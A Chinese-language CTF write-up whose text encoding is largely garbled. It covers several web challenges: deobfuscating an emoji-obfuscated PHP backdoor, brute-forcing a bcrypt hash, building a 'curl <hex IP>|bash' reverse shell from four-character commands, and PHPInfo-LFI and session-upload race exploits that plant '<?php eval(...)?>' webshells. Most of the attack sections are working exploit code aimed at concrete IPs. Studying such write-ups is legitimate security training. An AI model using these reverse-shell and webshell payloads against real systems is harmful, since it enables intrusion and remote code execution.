web6 – ๐๐๐๐
ๅ ่ฎฒ่ฟ้ขๆ่ทฏ
ๆบไปฃ็ ๆ็น้ฎ้ข ๆไปฌ็ดๆฅๆฟ้ข็ฎ็ๆบไปฃ็
ๅๆ่ฟ็จ
ๅจๆ ผๅผๅๅ,ๆไปฌ้่ฆๅคง่ดไบ่งฃไปฃ็ ็ๆง่ก
ๆญคๅคๆไปฌๅฏไปฅ้่ฟๅจ่งฃๅฏๅฝๆฐไธญๆทปๅ echo var_dump ็ญๅฝๆฐๆฅๅพๅฐ
step 1 ๅพๅฐๅๆ
step 2 ๆฟๆข
step 3 ่งๅฏไปฃ็ ไธๆง่ก็ปๆ.ๅจๆญคๆฌก่ฟ็จไธญ,ๆไปฌๅฏไปฅๆฟๆขๅๆ็ไปฃ็ ๆง่ก้กบๅบ
step 4 ๆณจ้ๆ ธๅฟไปฃ็
step 5 OK ๆ ธๅฟไปฃ็ ๆๅจ ๅๆททๆทOKใ:(
step 6 ๅๆไปฃ็
step 7 ็็ ดๅฏ็ // ้ข่ฎก2-3ๅฐๆถ
step 8 strlen(cmd)<= 5 ็ๅฝไปคๆง่ก ไธป่ฆ็ฅ่ฏ็น > ๅฝไปคๅๅฐๆไปถไธญ rev ๅๅบ curl ip|bash ๅฝไปคๆง่ก
NC ๅๅผนshell๏ผ่ฏฆๆ ่งPayloadๅwppayload ๆญฃ็กฎๆงๆผ็คบ,ๆๅ ณไธไธๅฝๅฑ,ๅผไธไธๆๅก
OK ็ปง็ปญ
ไปฅ็บฟไธ็ฏๅขไธบๆผ็คบ ๅฏ็ ็็ ด็จ่ชๅทฑ็ๆบๅญ่ทใใใใ
ใใใใDNSๅบ้ฎ้ขไบ
ๆไปฌๆขๆIPV4 ็ๅๅ ญ่ฟๅถๆฅ่ฏ่ฏOK finish
<?php
require 'vendor/autoload.php';
use Bcrypt\Bcrypt;
highlight_file(__FILE__);
ini_set("display_errors","Off");
$๐=array('๐','๐','๐','๐','๐','๐','๐','๐','๐','๐','๐','๐','๐','๐','๐','๐');$๐ =array('๐ ','๐ก','๐ข','๐ฃ','๐ค','๐ฅ','๐ฆ','๐ง','๐จ','๐ฉ','๐ช','๐ซ','๐ฌ','๐ญ','๐ฎ','๐ฏ');$๐ฐ=array('๐ฐ','๐ฑ','๐ฒ','๐ณ','๐ด','๐ต','๐ถ','๐ท','๐ธ','๐น','๐บ','๐ป','๐ผ','๐ฝ','๐พ','๐ฟ');$๐=array('๐','๐','๐','๐','๐','๐
','๐','๐','๐','๐','๐','๐','๐','๐','๐','๐');$๐=array('๐','๐','๐','๐','๐','๐','๐','๐','๐','๐','๐','๐','๐','๐','๐','๐');$๐ =array('๐ ','๐ก','๐ข','๐ฃ','๐ค','๐ฅ','๐ฆ','๐ง','๐จ','๐ฉ','๐ช','๐ซ','๐ฌ','๐ญ','๐ฎ','๐ฏ');$๐ฐ=array('๐ฐ','๐ฑ','๐ฒ','๐ณ','๐ด','๐ต','๐ถ','๐ท','๐ธ','๐น','๐บ','๐ป','๐ผ','๐ฝ','๐พ','๐ฟ');$๐=array('๐','๐','๐','๐','๐','๐
','๐','๐','๐','๐','๐','๐','๐','๐','๐','๐');$๐ = array($๐ ,$๐ ,$๐ฐ,$๐,$๐,$๐ ,$๐ฐ,$๐);$๐ณ๐๐ข๐๐ฒ๐๐ฆ๐
= "strlen";$๐ฉ๐๐ธ๐ = "chr";$๐ = "base64_decode";$๐ฑ๐จ๐๐๐ช๐จ๐ก๐ = "isset";function ๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ($๐ณ๐๐ข๐){ global $๐,$๐ณ๐๐ข๐๐ฒ๐๐ฆ๐
,$๐ฉ๐๐ธ๐,$๐,$๐ฑ๐จ๐๐๐ช๐จ๐ก๐; $๐ฒ๐๐ฆ๐
= ("$๐ณ๐๐ข๐๐ฒ๐๐ฆ๐
")($๐ณ๐๐ข๐)/4; $๐ณ๐๐๐ผ = ""; for($๐ฑ๐ง๐ผ๐ = 0;$๐ฑ๐ง๐ผ๐<$๐ฒ๐๐ฆ๐
;$๐ฑ๐ง๐ผ๐++) { $๐ฉ๐๐ฆ๐ =$๐ณ๐๐ข๐[$๐ฑ๐ง๐ผ๐*4].$๐ณ๐๐ข๐[$๐ฑ๐ง๐ผ๐*4+1].$๐ณ๐๐ข๐[$๐ฑ๐ง๐ผ๐*4+2].$๐ณ๐๐ข๐[$๐ฑ๐ง๐ผ๐*4+3]; $๐ช๐พ๐๐ =0; $๐ณ๐๐ฆ๐บ =0; for($๐ฑ๐ฝ๐๐ =0;$๐ฑ๐ฝ๐๐<8;$๐ฑ๐ฝ๐๐++) {for($๐ฑ๐๐๐=0;$๐ฑ๐๐๐<16;$๐ฑ๐๐๐++){ if($๐ฉ๐๐ฆ๐ == $๐[$๐ฑ๐ฝ๐๐][$๐ฑ๐๐๐]) { $๐ช๐พ๐๐=$๐ฑ๐ฝ๐๐; $๐ณ๐๐ฆ๐บ = $๐ฑ๐๐๐; }} } $๐ฒ๐พ๐ฆ๐ = $๐ช๐พ๐๐*16+$๐ณ๐๐ฆ๐บ; $๐ณ๐๐๐ผ = $๐ณ๐๐๐ผ.("$๐ฉ๐๐ธ๐")($๐ฒ๐พ๐ฆ๐); } return ("$๐")($๐ณ๐๐๐ผ);}function ๐๐(){ global $๐,$๐ณ๐๐ข๐๐ฒ๐๐ฆ๐
,$๐ฉ๐๐ธ๐,$๐,$๐ฑ๐จ๐๐๐ช๐จ๐ก๐; $๐ณ๐๐๐
๐ช๐๐ = ๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐๐๐ช๐ธ๐ณ๐น๐๐๐ด๐๐ณ๐๐ฑ๐๐ข๐๐ฒ๐๐๐๐ฉ๐ง๐
๐ป๐ฉ๐ฝ๐๐๐๐๐๐).๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ฒ๐ง๐ก๐)($_SERVER[๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ฅ๐ป๐ฆ๐๐ค๐๐ข๐๐จ๐๐๐๐ข๐๐๐)]);๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ฒ๐ง๐๐ป๐ฑ๐จ๐๐)($๐ณ๐๐๐
๐ช๐๐); ๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ฉ๐๐ธ๐ป๐ฑ๐จ๐๐)($๐ณ๐๐๐
๐ช๐๐); if (isset($_GET[๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ฉ๐๐๐ป)]) && ($๐ณ๐๐ข๐๐ฒ๐๐ฆ๐
)($_GET[๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ฉ๐๐๐ป)]) <= 5) { @๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ช๐จ๐ธ๐ผ๐ฉ๐๐๐)($_GET[๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ฉ๐๐๐ป)]); } else if (isset($_GET[๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ณ๐ฝ๐ฆ๐๐ช๐จ๐ก๐)])) { @๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ช๐จ๐ธ๐ผ๐ฉ๐๐๐)(๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ณ๐ฝ๐๐ท๐๐จ๐๐ฝ๐๐๐๐) . $๐ณ๐๐๐
๐ช๐๐); }}$๐ฏ = new Bcrypt();$๐ = $_POST[๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ณ๐๐๐๐ณ๐๐ด๐ป)];$๐ = ๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐๐๐๐
๐๐๐๐๐๐๐๐๐ช๐ฝ๐ป๐๐ฅ๐จ๐๐๐ฃ๐ผ๐๐ข๐ฒ๐ฅ๐๐๐๐ป๐ช๐
๐ฒ๐๐ฆ๐๐ฃ๐ฝ๐ฆ๐๐ฒ๐ฆ๐๐
๐๐ฝ๐๐๐ฒ๐บ๐ด๐๐ช๐๐๐๐ฉ๐๐๐๐๐พ๐ฉ๐
๐ฑ๐๐๐บ๐ช๐๐ผ๐๐ข๐๐ฟ๐๐ด๐๐ธ๐ผ);if($๐ฏ->verify($๐, $๐)){ echo(๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ ๐๐๐น๐ณ๐บ๐
๐ก๐ฉ๐จ๐๐๐ด๐๐๐๐ช๐๐๐๐ช๐จ๐๐๐ช๐ฝ๐ผ๐ผ๐ช๐๐๐๐๐๐๐๐ ๐ท๐๐)); echo(๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ฆ๐๐๐๐๐ฃ๐๐๐ฒ๐๐ณ๐๐ฑ๐๐๐บ๐ฑ๐๐๐๐ด๐๐๐๐๐๐๐๐ ๐ท๐๐)); ๐๐();}else{echo(๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ ๐๐๐น๐ณ๐บ๐
๐ก๐ฉ๐จ๐๐๐ด๐๐๐๐ช๐๐๐
๐ฒ๐๐ก๐ท๐ฒ๐ง๐๐๐ฉ๐๐ท๐ธ๐ ๐๐๐น๐ณ๐บ๐๐));}
ๆ ผๅผๅ+ๅๆททๆท
- ๆ ผๅผๅ ไพฟไบ่งๅฏ
<?php
require 'vendor/autoload.php';
use Bcrypt\Bcrypt;
highlight_file(__FILE__);
ini_set("display_errors","Off");
$๐=array('๐','๐','๐','๐','๐','๐','๐','๐','๐','๐','๐','๐','๐','๐','๐','๐');
$๐ =array('๐ ','๐ก','๐ข','๐ฃ','๐ค','๐ฅ','๐ฆ','๐ง','๐จ','๐ฉ','๐ช','๐ซ','๐ฌ','๐ญ','๐ฎ','๐ฏ');
$๐ฐ=array('๐ฐ','๐ฑ','๐ฒ','๐ณ','๐ด','๐ต','๐ถ','๐ท','๐ธ','๐น','๐บ','๐ป','๐ผ','๐ฝ','๐พ','๐ฟ');
$๐=array('๐','๐','๐','๐','๐','๐
','๐','๐','๐','๐','๐','๐','๐','๐','๐','๐');
$๐=array('๐','๐','๐','๐','๐','๐','๐','๐','๐','๐','๐','๐','๐','๐','๐','๐');
$๐ =array('๐ ','๐ก','๐ข','๐ฃ','๐ค','๐ฅ','๐ฆ','๐ง','๐จ','๐ฉ','๐ช','๐ซ','๐ฌ','๐ญ','๐ฎ','๐ฏ');
$๐ฐ=array('๐ฐ','๐ฑ','๐ฒ','๐ณ','๐ด','๐ต','๐ถ','๐ท','๐ธ','๐น','๐บ','๐ป','๐ผ','๐ฝ','๐พ','๐ฟ');
$๐=array('๐','๐','๐','๐','๐','๐
','๐','๐','๐','๐','๐','๐','๐','๐','๐','๐');
$๐ = array($๐ ,$๐ ,$๐ฐ,$๐,$๐,$๐ ,$๐ฐ,$๐);
$๐ณ๐๐ข๐๐ฒ๐๐ฆ๐
= "strlen";
$๐ฉ๐๐ธ๐ = "chr";
$๐ = "base64_decode";
$๐ฑ๐จ๐๐๐ช๐จ๐ก๐ = "isset";
function ๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ($๐ณ๐๐ข๐) {
global $๐,$๐ณ๐๐ข๐๐ฒ๐๐ฆ๐
,$๐ฉ๐๐ธ๐,$๐,$๐ฑ๐จ๐๐๐ช๐จ๐ก๐;
$๐ฒ๐๐ฆ๐
= ("$๐ณ๐๐ข๐๐ฒ๐๐ฆ๐
")($๐ณ๐๐ข๐)/4;
$๐ณ๐๐๐ผ = "";
for ($๐ฑ๐ง๐ผ๐ = 0;$๐ฑ๐ง๐ผ๐<$๐ฒ๐๐ฆ๐
;$๐ฑ๐ง๐ผ๐++) {
$๐ฉ๐๐ฆ๐ =$๐ณ๐๐ข๐[$๐ฑ๐ง๐ผ๐*4].$๐ณ๐๐ข๐[$๐ฑ๐ง๐ผ๐*4+1].$๐ณ๐๐ข๐[$๐ฑ๐ง๐ผ๐*4+2].$๐ณ๐๐ข๐[$๐ฑ๐ง๐ผ๐*4+3];
$๐ช๐พ๐๐ =0;
$๐ณ๐๐ฆ๐บ =0;
for ($๐ฑ๐ฝ๐๐ =0;$๐ฑ๐ฝ๐๐<8;$๐ฑ๐ฝ๐๐++) {
for ($๐ฑ๐๐๐=0;$๐ฑ๐๐๐<16;$๐ฑ๐๐๐++) {
if($๐ฉ๐๐ฆ๐ == $๐[$๐ฑ๐ฝ๐๐][$๐ฑ๐๐๐]) {
$๐ช๐พ๐๐=$๐ฑ๐ฝ๐๐;
$๐ณ๐๐ฆ๐บ = $๐ฑ๐๐๐;
}
}
}
$๐ฒ๐พ๐ฆ๐ = $๐ช๐พ๐๐*16+$๐ณ๐๐ฆ๐บ;
$๐ณ๐๐๐ผ = $๐ณ๐๐๐ผ.("$๐ฉ๐๐ธ๐")($๐ฒ๐พ๐ฆ๐);
}
return ("$๐")($๐ณ๐๐๐ผ);
}
function ๐๐() {
global $๐,$๐ณ๐๐ข๐๐ฒ๐๐ฆ๐
,$๐ฉ๐๐ธ๐,$๐,$๐ฑ๐จ๐๐๐ช๐จ๐ก๐;
$๐ณ๐๐๐
๐ช๐๐ = ๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐๐๐ช๐ธ๐ณ๐น๐๐๐ด๐๐ณ๐๐ฑ๐๐ข๐๐ฒ๐๐๐๐ฉ๐ง๐
๐ป๐ฉ๐ฝ๐๐๐๐๐๐).๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ฒ๐ง๐ก๐)($_SERVER[๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ฅ๐ป๐ฆ๐๐ค๐๐ข๐๐จ๐๐๐๐ข๐๐๐)]);
๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ฒ๐ง๐๐ป๐ฑ๐จ๐๐)($๐ณ๐๐๐
๐ช๐๐);
๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ฉ๐๐ธ๐ป๐ฑ๐จ๐๐)($๐ณ๐๐๐
๐ช๐๐);
if (isset($_GET[๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ฉ๐๐๐ป)]) && ($๐ณ๐๐ข๐๐ฒ๐๐ฆ๐
)($_GET[๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ฉ๐๐๐ป)]) <= 5) {
@๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ช๐จ๐ธ๐ผ๐ฉ๐๐๐)($_GET[๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ฉ๐๐๐ป)]);
} else if (isset($_GET[๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ณ๐ฝ๐ฆ๐๐ช๐จ๐ก๐)])) {
@๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ช๐จ๐ธ๐ผ๐ฉ๐๐๐)(๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ณ๐ฝ๐๐ท๐๐จ๐๐ฝ๐๐๐๐) . $๐ณ๐๐๐
๐ช๐๐);
}
}
$๐ฏ = new Bcrypt();
$๐ = $_POST[๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ณ๐๐๐๐ณ๐๐ด๐ป)];
$๐ = ๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐๐๐๐
๐๐๐๐๐๐๐๐๐ช๐ฝ๐ป๐๐ฅ๐จ๐๐๐ฃ๐ผ๐๐ข๐ฒ๐ฅ๐๐๐๐ป๐ช๐
๐ฒ๐๐ฆ๐๐ฃ๐ฝ๐ฆ๐๐ฒ๐ฆ๐๐
๐๐ฝ๐๐๐ฒ๐บ๐ด๐๐ช๐๐๐๐ฉ๐๐๐๐๐พ๐ฉ๐
๐ฑ๐๐๐บ๐ช๐๐ผ๐๐ข๐๐ฟ๐๐ด๐๐ธ๐ผ);
if($๐ฏ->verify($๐, $๐)) {
echo(๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ ๐๐๐น๐ณ๐บ๐
๐ก๐ฉ๐จ๐๐๐ด๐๐๐๐ช๐๐๐๐ช๐จ๐๐๐ช๐ฝ๐ผ๐ผ๐ช๐๐๐๐๐๐๐๐ ๐ท๐๐));
echo(๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ฆ๐๐๐๐๐ฃ๐๐๐ฒ๐๐ณ๐๐ฑ๐๐๐บ๐ฑ๐๐๐๐ด๐๐๐๐๐๐๐๐ ๐ท๐๐));
๐๐();
} else {
echo(๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ(๐ ๐๐๐น๐ณ๐บ๐
๐ก๐ฉ๐จ๐๐๐ด๐๐๐๐ช๐๐๐
๐ฒ๐๐ก๐ท๐ฒ๐ง๐๐๐ฉ๐๐ท๐ธ๐ ๐๐๐น๐ณ๐บ๐๐));
}
Password not match!
- ๅๆททๆท
require 'vendor/autoload.php';// composer ๅ
ๅผ็จ็ไธไธช็นๅพ, ๆญคๅคjsonๆไปถๅฏไปฅ่ฎฟ้ฎ composer.json
// ๅจๆฌๅฐๅฎ่ฃ
composer polarising/bcrypt
use Bcrypt\Bcrypt;
# highlight_file(__FILE__);
ini_set("display_errors","On");
function ๐๐() { // ไธ้ข็๐ช๐๐ฆ๐บ๐ฒ๐๐ข๐ผ ่งฃๆททๆท ๅฝๆฐๅฏไปฅไธ็ฎก
//
global $๐,$strlen,$chr,$base64_decode,$isset;
$path = '/var/www/html/sandbox/'.md5($_SERVER['REMOTE_ADDR']);
mkdir($path);
chdir($path);
if (isset($_GET['cmd']) && ($strlen)($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (!isset($_GET['reset'])) {
@exec('rm -rf '. $path);
}
}
$๐ฏ = new Bcrypt();
$๐ = $_POST['passwd'];
$๐ = '$2y$10$RBfi8QpJJQQmJD6FylurJeqmP.6cMn7tdoKczL2v9hScd9zDj3wXe';
if($๐ฏ->verify($๐, $๐)) { // ไฟฎๆนๆง่ก้กบๅบ
echo('</br>Password verified!</br>');
echo('Wow!!Now,hack it!</br>');
๐๐();
} else {
echo('</br>Password not match!</br>');
}
ๅๆททๆท็่ฏ,ๅฏไปฅไฝฟ็จxdebugๆนๅผ่ทๅใไนๅฏไปฅๅจๅฉ็จ่งฃๅฏ่ทๅๅๆฅ็ๅๆฐ
- ่ทๅพ
$2y$10\$RBfi8QpJJQQmJD6FylurJeqmP.6cMn7tdoKczL2v9hScd9zDj3wXe
ๅๆ
// ้ข่ฎก2-3ๅฐๆถ ๅฏไปฅๅผๅค็บฟ็จ ่ฟไธชๅชๆฏไธไธช้คๆด็ไปฃ็
<?php
require 'vendor/autoload.php';
use Bcrypt\Bcrypt;
$key = "abcdefghijklmnopqrstuvwxyz";
$bcrypt = new Bcrypt();
$plaintext = 'bcrypt';//bcryptyyds
$ciphertext = '$2y$10$RBfi8QpJJQQmJD6FylurJeqmP.6cMn7tdoKczL2v9hScd9zDj3wXe';
for($i=0;$i<26;$i++)
{
for($j=0;$j<26;$j++)
{
for($k=0;$k<26;$k++)
{
for($m=0;$m<26;$m++)
{
echo $plaintext.$str.PHP_EOL;
$str = $key[$i].$key[$j].$key[$k].$key[$m];
if($bcrypt->verify($plaintext.$str, $ciphertext)){
echo("</br>Password verified!</br>");
echo("Wow!!Now,hack it!</br>");
}
}
}
}
}
- strlen(cmd) <= 5 ็ ๅฝไปคๆง่ก
import HackRequests
import requests
from urllib.parse import quote
from time import sleep
url = "http://219.219.61.234:10048/?cmd="
payload = [
# generate "g> ht- sl" to file "v"
'>dir',
'>sl',
'>g\>',
'>ht-',
'*>v',
# reverse file "v" to file "x", content "ls -th >g"
'>rev',
'*v>x',
# generate "curl 0X276C8FD1|bash"
'>sh ',
'>ba\\',
'>\|\\',
'>\\',
'>D1\\',
'>8F\\',
'>6C\\',
'>27\\',
'>0X\\',
'>\ \\',
'>rl\\',
'>cu\\',
# got shell
'sh x',
'sh g',
]
for i in payload:
assert len(i) <= 4
data = {
'passwd':'bcryptyyds',
}
header = {
"Content-Type" : "application/x-www-form-urlencoded",
"Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Upgrade-Insecure-Requests" : "1"
}
r = requests.post(url + quote(i),data=data,headers=header)
print(i)
sleep(0.1)
ๅฐๆญค็ปๆ
web7 -Try:GET_file
WEb: GET_file
HINT1 ๏ผdirsearch the path ไผๅ็ฐๅญๅจphpinfo.php ไผๅพ่ช็ถ็ๆณๅฐPHPINFO LFI
ๆนๆณไธ
ๅบๆฌๅ็ๆฏๅฉ็จไธไผ ๆถ็TMPๆไปถ๏ผๅ ๅฎนๅฏๆง๏ผ่ฟ่กๅ ๅซ,ไป่webshell
้พ็นๅจไบๅจphpๆไปถ่งฃๆๅtmpๆไปถไผ่ขซๅ ้ค
ๆไปฌๅฏไปฅๅฉ็จsocketๆฅ่ฏปๅPHPINFOๆไปถ่ทๅพtmpๆไปถ,่ไธๆฏ็ญphpๆไปถๅ จ้จ่งฃๆๅฎ
ๆนๆณไบ
ๅฉ็จsession ไธไผ ๆบๅถ,ๅฏไปฅ็ดๆฅไธไผ shell๏ผๅจๆฌๅฐๅ ๅซๅณๅฏ
ๅ ็คบ่ๆนๆณไบ
uploadprogress/tmp/7IDUrqGOt8PMATm852/flag.txt
ๅพๅฐflagๅฐๅ
ๅฝไธไผ ๅๆญขๆถ,sess_fe1w0ไธบ็ฉบ๏ผไฝๅฝ็ซไบไธไผ ๆถ๏ผๅ ๅฎนไธบ
uploadprogress<?php eval($_POST["cmd"]);?>|a:5:{s:10:"start_time";i:1601320350;s:14:"content_length";i:51480;s:15:"bytes_processed";i:5254;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"test.txt";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1601320350;s:15:"bytes_processed";i:5254;}}}
ๅๅฝไฝ ๅ ๅซsessๆถ,ๅฐฑๆฏ่งฃๆๅ ถไธญ็PHP่ฏญๅฅ ๅฆ๏ผ<?php eval($_POST["cmd"]);?>ๆญคๅค็คบ่ๆนๆณไธ:
ๅ ถๅบๆฌๆๆณไนๆฏๅฉ็จไธไผ ๆบๅถใ็ซไบไธไผ
ๆณจๆ apache2้่ฆ้็ฝฎ
่ฟไธชๆนๆณ็ๅฎ็ฐ้่ฆๆ่พๅฅฝ็็ฝ็ป้พๆฅใใใๆไปฌๅฏไปฅ็ไธ็น /tmp/g ไธญ็ๅ ๅฎน ไธpayload ไธ่ด
ไนๅๅช้ๆฌๅฐๅ ๅซๅฐฑ่ก
ๅพๅฐflagๅฐๅ
/tmp/7IDUrqGOt8PMATm852/flag.txt
CUMTCTF{Orz_to_php1nf0}
่งฃๆณไธ
ๆซๆ่ทฏๅพๅพๅฐphpinfo.php
็ฅ่ฏ็น:
- phpไผๆpost่ฏทๆฑ, ๅญๅจๅจไธดๆถๆไปถไธญ, ๅนถๅจ่ฏทๆฑ็ปๆๅๅ ้คไธดๆถๆไปถ
- phpinfoไธญไผๆพ็คบ_FILEๅ้, ๅ ถไธญไผๆพ็คบไธดๆถๆไปถ่ทฏๅพ
- ๅ้ๅคงๆฐๆฎ้็่ฏทๆฑ, ๆญคๅคๅฉ็จ
socket
ๆฅ่ฎฟ้ฎphpinfo๏ผ่ทๅพไธดๆถๆไปถๅฐๅ
exp
#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?php eval($_REQUEST[1])?>')?>\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /index.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] => ")
fn = d[i+17:i+31]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] => ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__=="__main__":
main()
่งฃๆณไบ
ๅฉ็จseesion ๆบๅถ,ๅฐshellๅๅ ฅsessionๆไปถ
- exp
import io
import requests
import threading
sessid = 'XZASFE1W0'
data = {"cmd":'system("find / -name flag*);'}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://202.119.201.197:13077/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('test.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://202.119.201.197:13077/?file=/tmp/sess_'+sessid,data=data)
if 'test.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
ๆฒกๆไบบๆฏๆๆดๆ๐๐๐
่ฟ้ข็ฑไบdocker็ฏๅขๆ้ฎ้ข,ๆจ่ๅจ็ฉ็ๆบไธๆต่ฏ
ๆ นๆฎๆ็คบไธๆญฅๆญฅ่ฎฟ้ฎ
ไนๅ ้่ฆๆณจๆๆฅ็cookie
ๆไธไธชJWT json web token
ๆ นๆฎๆ็คบ post path
ๅๆ นๆฎไนๅ็hint
่ฟ้ๅ็ฐๆฒกๆๆง่กindex.php
path=php://filter/convert.quoted-printable-encode/resource=/fe1w0/../proc/self/cwd/index.php
่ทๅพ็ง้ฅๅฐๅ
fe1w0/fba60b53-0016-41ef-8c12-615c02768b12_fe1w0_own_rsa_private_key.pem
ไนๅไฝฟ็จ็ง้ฅ็ไบงadmin็JWT
ไปฃ็ ๅฆไธ:
- ๆฟๆข admin ็JWT ่ทๅพflag
๐:CUMTCTF{J^^T_L1k*_em0ji}- ่ฟ้ขๆ่ทฏๅช่ฆๆฏๆ้ admin ็JWT
<!--info.php-->๐จโ๐ป๐๐โฐ๏ธ</br><!--something in the index.php --></br>
ๆญคๅค,ๆดๅ ทJWTๅพๅฐไธไธๆญฅๆ็คบ
